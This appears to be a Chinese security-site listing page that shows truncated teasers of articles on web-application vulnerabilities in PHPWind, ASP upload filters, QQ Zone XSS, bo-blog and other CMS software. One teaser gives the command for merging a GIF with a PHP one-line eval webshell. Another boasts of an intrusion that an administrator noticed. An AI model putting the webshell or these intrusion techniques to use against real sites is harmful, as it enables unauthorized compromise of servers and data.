电脑基础

　　PHPWIND 论坛是一款流行的PHP 论坛，界面美观，功能也比较强大。但大家仔细看一下会发现不论是从界面功能还是代码风格，它和 DISCUZ 都非常相似，具体原因我想也就不用说了，毕竟 DISCUZ 出来比它要早很多。但安全上它没有继承 DISC...

以目前流行的PHP为例： 先合并一张PHP一句话图片马，合并方法： ①、DOS合并：copy 1.gif /b + 1.txt/a php.gif ②、用edjpgcom，进行图片和一句话木马的合并，一句话代码为<?php eval($_POST...

脚本页面http://bookman.sinaapp.com/doover.php，访问该页面后会发送一条状态“已经结束了，这是我的自白，想明白原理的看我日志就好。http://bookman.sinaapp.com/doover.php&...

电脑用久了，装的软件，插件，越来越多，所做的操作也会留下很多垃圾文件保持在电脑上，加上电脑硬件也会老化，电脑中毒什么的。都有可能导致电脑开机速度慢。 导致开机速度慢的一些原因： 1、开机启动项太多。 现在很多软件，如PDF阅读器、播放器、输入法、下载工...

前言：前阶段测试了下讯时后台管理系统，这个系统有个很吊的功能，就是能记录管理登录日志（包括用户名和ip），而且还不能在后台删除。我艹，在我测试的时候，一直在用admin测试后来居然被管理员发现，居然找到我，让我停止攻击。无语了~在之后的渗透中我还是拿下...

　　这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞! 　　废话不说 　　经典对白 看代码! 　　member\\soft_edit.php 　　01if(empty($dopost)) //如果这里是空也就是直接访问这个文件 　　02{...

// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32) // Exploit author: 0in (Maksymilian Motyl) // Email: 0in(dot)ema...

　　漏洞原理 　　漏洞的利用原理很简单，请看Upload.asp文件： 　　任何情况下都不允许上传asp脚本文件 　　sAllowExt = Replace(UCase(sAllowExt), "ASP", ""...

　　最近的动易CMS漏洞可以说着实火了一把，本文写的CMS虽然没有动易功能强大，但同样存在注入漏洞。这种漏洞用工具是扫不到的，可以说注入已经由显式转为隐式了，必须查看源代码才有可能发现潜在的漏洞。 　　适合读者：入侵爱好者前置知识：无发掘MaosinC...

QQ空间存在一处储存型跨站详细说明：QQ空间应用处有一个文件夹应用，该应用可以重命名文件名，正常情况下客户端是过滤了特殊字符的。但是特殊字符仅仅在客户端做了过滤并没有在服务端 和输出端过滤。因此我们可以通过本地修改post内容绕过这一限制点击确定产生p...

　　bo-blog是一款外观好看，而且当前流行的个人博客系统，在很多下载站你都可以找到这套程序，而且甚至有很多安全界的人都使用着这套php+txt的程序，但是这套程序里有些安全隐患，可能会被人利用去做一些破坏。 　　首先开门见山，我们说说它的绝对路径暴...

　　member.php 　　if($action==\’edit_member_ok\’){ //member.php?action=edit_member_ok 　　check_request(); //检查来路 　　if(...